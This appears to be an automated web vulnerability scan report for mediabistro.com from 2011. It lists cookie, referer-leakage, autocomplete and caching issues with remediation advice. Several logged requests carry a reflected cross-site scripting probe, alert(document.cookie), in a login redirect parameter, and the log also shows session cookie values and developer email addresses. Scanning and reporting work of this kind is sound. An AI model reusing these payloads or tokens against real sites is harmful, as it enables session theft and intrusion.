GET /common_v4/css/main.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Mon, 06 Dec 2010 21:40:07 GMT Accept-Ranges: bytes ETag: "42c14e268e95cb1:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:55 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 9471
body { } .header {FONT-WEIGHT: 600;FONT-SIZE: 24px;COLOR: #666666;} H2 {FONT-SIZE: 12px;MARGIN-TOP: 0px;MARGIN-BOTTOM: 4px;COLOR: #ff6600;} .subhead {MARGIN-TOP: 0px;MARGIN-BOTTOM: 4px; COLOR ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/css/navmenu.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Mon, 08 Feb 2010 16:38:29 GMT Accept-Ranges: bytes ETag: "ea30e25dda8ca1:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:55 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 1598
body { behavior:url("/common_v4/css/csshover3.htc"); }
/* site navigation menu */ #mb-nav-bg {position:relative;top:0px;left:0px;height:30px;width:auto;} #mb-nav-container {/*overflow:auto;*/} . ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/css/v4.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Wed, 16 Mar 2011 16:13:15 GMT Accept-Ranges: bytes ETag: "58e12aef5e3cb1:386e" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:17 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=DDFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 14403
body, html {padding:0;margin:0;} body {font-size:12px;font-weight:normal;font-family:verdana, arial, sans-serif;line-height:1.22;color:#333;background-color:#fff;} INPUT, SELECT, TEXTAREA { font-size ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/javascript/imagefunctions.js HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Fri, 14 Jan 2005 18:28:46 GMT Accept-Ranges: bytes ETag: "04317e266fac41:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:55 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 1929
function reveal() { hider.hide(); } function MM_PreloadImages() { //v2.0 if (document.images) { var imgFiles = MM_PreloadImages.arguments; if (document.preloadArray==null) document.p ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Meltwater-Buzz-jobs-e25838.html HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI; __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; s_cc=true; s_sq=%5B%5BB%5D%5D; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; __utmc=48117563; __utmb=48117563.10.10.1301186581
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 00:47:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sun, 27 Mar 2011 00:47:33 GMT Set-Cookie: joblistings=keyword%5Ffilter=&country%5Ffilter=0&city%5Ffilter=&jbdr=0&jbig=&sjjf=&igid=0&state%5Ffilter=0; domain=mediabistro.com; path=/ Cache-control: private Vary: Accept-encoding Content-Length: 55648
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <hea ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /Meltwater-Buzz-jobs-e25838.html HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI; __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; s_cc=true; s_sq=%5B%5BB%5D%5D; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; __utmc=48117563; __utmb=48117563.10.10.1301186581
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 00:47:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sun, 27 Mar 2011 00:47:33 GMT Set-Cookie: joblistings=keyword%5Ffilter=&country%5Ffilter=0&city%5Ffilter=&jbdr=0&jbig=&sjjf=&igid=0&state%5Ffilter=0; domain=mediabistro.com; path=/ Cache-control: private Vary: Accept-encoding Content-Length: 55648
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <hea ...[SNIP]...
7. Cross-domain Referer leakagepreviousnext There are 7 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
<meta http-equiv="X-UA-Compatible" content="IE=edge,c ...[SNIP]... <strong id="co-presented-by"><a href="http://miamiadschool.com"><img src="/creative-pro/images/co-presented-by.jpg" alt="Co presented by Miami Ad School" width="241" height"53"> ...[SNIP]... <!-- By use of this code snippet, I agree to the Brightcove Publisher T and C found at https://accounts.brightcove.com/en/terms-and-conditions/. -->
GET /socialtimes-pro/?c=stpafadmod HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive Referer: http://www.allfacebook.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI; __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; __utmc=48117563; __utmb=48117563.4.10.1301186581; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 00:45:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sun, 27 Mar 2011 00:45:29 GMT Cache-control: private Vary: Accept-encoding Content-Length: 23886
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>SocialTimes Pr ...[SNIP]... </a>, <a href="http://socialgamingsummit.de/" target="_blank">Social Gaming Summit</a>, <a href="http://socialgamingsummit.de/" target="_blank">Virtual Goods Summit</a> ...[SNIP]... </strong> covers virtual worlds and goods for SocialTimes and his blog <a href="http://nwn.blogs.com" target="_blank">New World Notes</a> ...[SNIP]... that, she covered social media and search marketing for Mediapost. Kee is listed by many media, publishing, and advertising execs as a source of news on social media and digital advertising. Twitter: <a href="http://www.twitter.com/geekychic" target="_blank">@GeekyChic</a> ...[SNIP]... <p class="para"><a href="http://www.allfacebook.com"><img src="/socialtimes-pro/images/logo_allfacebook.gif" alt="AllFacebook" width="147" height="31" vspace="5" border="0" align="left" style="margin-right:15px;" title="AllFacebook" /></a><a href="http://www.allfacebook.com" target="_blank">AllFacebook</a> ...[SNIP]... <p class="para"><a href="http://www.socialtimes.com"><img src="/socialtimes-pro/images/logo_socialtimes.gif" alt="SocialTimes" width="147" height="40" vspace="5" border="0" align="left" style="margin-right:15px;" title="SocialTimes" /></a><a href="http://www.socialtimes.com" target="_blank">SocialTimes</a> ...[SNIP]... </a>, <a href="http://www.allfacebook.com">AllFacebook</a>, and <a href="http://www.socialtimes.com">SocialTimes</a> ...[SNIP]... <div align="center" style="line-height:20px;color:#999999;font-family:Verdana, Arial, Helvetica, sans-serif">
GET /socialtimes-pro/?c=stpafadmod HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI; __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; __utmc=48117563; __utmb=48117563.8.10.1301186581; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 00:44:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sun, 27 Mar 2011 00:44:11 GMT Cache-control: private Vary: Accept-encoding Content-Length: 23886
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>SocialTimes Pr ...[SNIP]... </a>, <a href="http://socialgamingsummit.de/" target="_blank">Social Gaming Summit</a>, <a href="http://socialgamingsummit.de/" target="_blank">Virtual Goods Summit</a> ...[SNIP]... </strong> covers virtual worlds and goods for SocialTimes and his blog <a href="http://nwn.blogs.com" target="_blank">New World Notes</a> ...[SNIP]... that, she covered social media and search marketing for Mediapost. Kee is listed by many media, publishing, and advertising execs as a source of news on social media and digital advertising. Twitter: <a href="http://www.twitter.com/geekychic" target="_blank">@GeekyChic</a> ...[SNIP]... <p class="para"><a href="http://www.allfacebook.com"><img src="/socialtimes-pro/images/logo_allfacebook.gif" alt="AllFacebook" width="147" height="31" vspace="5" border="0" align="left" style="margin-right:15px;" title="AllFacebook" /></a><a href="http://www.allfacebook.com" target="_blank">AllFacebook</a> ...[SNIP]... <p class="para"><a href="http://www.socialtimes.com"><img src="/socialtimes-pro/images/logo_socialtimes.gif" alt="SocialTimes" width="147" height="40" vspace="5" border="0" align="left" style="margin-right:15px;" title="SocialTimes" /></a><a href="http://www.socialtimes.com" target="_blank">SocialTimes</a> ...[SNIP]... </a>, <a href="http://www.allfacebook.com">AllFacebook</a>, and <a href="http://www.socialtimes.com">SocialTimes</a> ...[SNIP]... <div align="center" style="line-height:20px;color:#999999;font-family:Verdana, Arial, Helvetica, sans-serif">
GET /socialtimes-pro/?c=stpafadmod HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI; __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; s_cc=true; s_sq=%5B%5BB%5D%5D; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; __utmc=48117563; __utmb=48117563.6.10.1301186581
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 00:47:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sun, 27 Mar 2011 00:47:09 GMT Cache-control: private Vary: Accept-encoding Content-Length: 23886
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>SocialTimes Pr ...[SNIP]... </a>, <a href="http://socialgamingsummit.de/" target="_blank">Social Gaming Summit</a>, <a href="http://socialgamingsummit.de/" target="_blank">Virtual Goods Summit</a> ...[SNIP]... </strong> covers virtual worlds and goods for SocialTimes and his blog <a href="http://nwn.blogs.com" target="_blank">New World Notes</a> ...[SNIP]... that, she covered social media and search marketing for Mediapost. Kee is listed by many media, publishing, and advertising execs as a source of news on social media and digital advertising. Twitter: <a href="http://www.twitter.com/geekychic" target="_blank">@GeekyChic</a> ...[SNIP]... <p class="para"><a href="http://www.allfacebook.com"><img src="/socialtimes-pro/images/logo_allfacebook.gif" alt="AllFacebook" width="147" height="31" vspace="5" border="0" align="left" style="margin-right:15px;" title="AllFacebook" /></a><a href="http://www.allfacebook.com" target="_blank">AllFacebook</a> ...[SNIP]... <p class="para"><a href="http://www.socialtimes.com"><img src="/socialtimes-pro/images/logo_socialtimes.gif" alt="SocialTimes" width="147" height="40" vspace="5" border="0" align="left" style="margin-right:15px;" title="SocialTimes" /></a><a href="http://www.socialtimes.com" target="_blank">SocialTimes</a> ...[SNIP]... </a>, <a href="http://www.allfacebook.com">AllFacebook</a>, and <a href="http://www.socialtimes.com">SocialTimes</a> ...[SNIP]... <div align="center" style="line-height:20px;color:#999999;font-family:Verdana, Arial, Helvetica, sans-serif">
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
<meta http-equiv="X-UA-Compatible" content="IE=edge,c ...[SNIP]... <!-- By use of this code snippet, I agree to the Brightcove Publisher T and C found at https://accounts.brightcove.com/en/terms-and-conditions/. -->
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
//\////////////////////////////////////////////////////////////////////////////////// //\ overLIB 3.51 -- This notice must remain untouched at all times. //\ Copyright Erik Bosrup 1998-2002. All rights reserved. //\ //\ By Erik Bosrup (erik@bosrup.com). Last modified 2002-11-01. //\ Portions by Dan Steinman (dansteinman.com). Additions by other people are //\ listed on the overLIB homepage. //\ //\ Get the latest version at http://www.bosru ...[SNIP]...
The following email addresses were disclosed in the response:
garmand@dfc-e.com
mvilaplana@dfc-e.com
Request
GET /creativepro/javascript/jquery.jqtransform.js HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive Referer: http://www.mediabistro.com/creative-pro/?c=mbremlb User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Mon, 11 Oct 2010 15:59:56 GMT Accept-Ranges: bytes ETag: "d8277c595d69cb1:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 00:42:49 GMT Vary: Accept-encoding Content-Length: 14190
/* * * jqTransform * by mathieu vilaplana mvilaplana@dfc-e.com * Designer ghyslain armand garmand@dfc-e.com * * * Version 1.0 25.09.08 * Version 1.1 06.08.09 * Add event click on Checkbox and Radio * Auto calculate the size of a select element * Can now, disabled the elements * Correct bug i ...[SNIP]...
//\////////////////////////////////////////////////////////////////////////////////// //\ overLIB 3.51 -- This notice must remain untouched at all times. //\ Copyright Erik Bosrup 1998-2002. All rights reserved. //\ //\ By Erik Bosrup (erik@bosrup.com). Last modified 2002-11-01. //\ Portions by Dan Steinman (dansteinman.com). Additions by other people are //\ listed on the overLIB homepage. //\ //\ Get the latest version at http://www.bosru ...[SNIP]...
The following email addresses were disclosed in the response:
garmand@dfc-e.com
mvilaplana@dfc-e.com
Request
GET /creativepro/javascript/jquery.jqtransform.js HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/creative-pro/buy.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI; __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; s_cc=true; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; __utmc=48117563; __utmb=48117563.4.10.1301186581; s_sq=mediabistrocom%3D%2526pid%253D/creativepro/default.asp%2526pidt%253D1%2526oid%253Dhttp%25253A//www.mediabistro.com/courses/cache/crs6698.asp%2526ot%253DA
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Mon, 11 Oct 2010 15:59:56 GMT Accept-Ranges: bytes ETag: "d8277c595d69cb1:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 00:43:43 GMT Vary: Accept-encoding Content-Length: 14190
/* * * jqTransform * by mathieu vilaplana mvilaplana@dfc-e.com * Designer ghyslain armand garmand@dfc-e.com * * * Version 1.0 25.09.08 * Version 1.1 06.08.09 * Add event click on Checkbox and Radio * Auto calculate the size of a select element * Can now, disabled the elements * Correct bug i ...[SNIP]...
10. Robots.txt filepreviousnext There are 2 instances of this issue:
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain XML.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
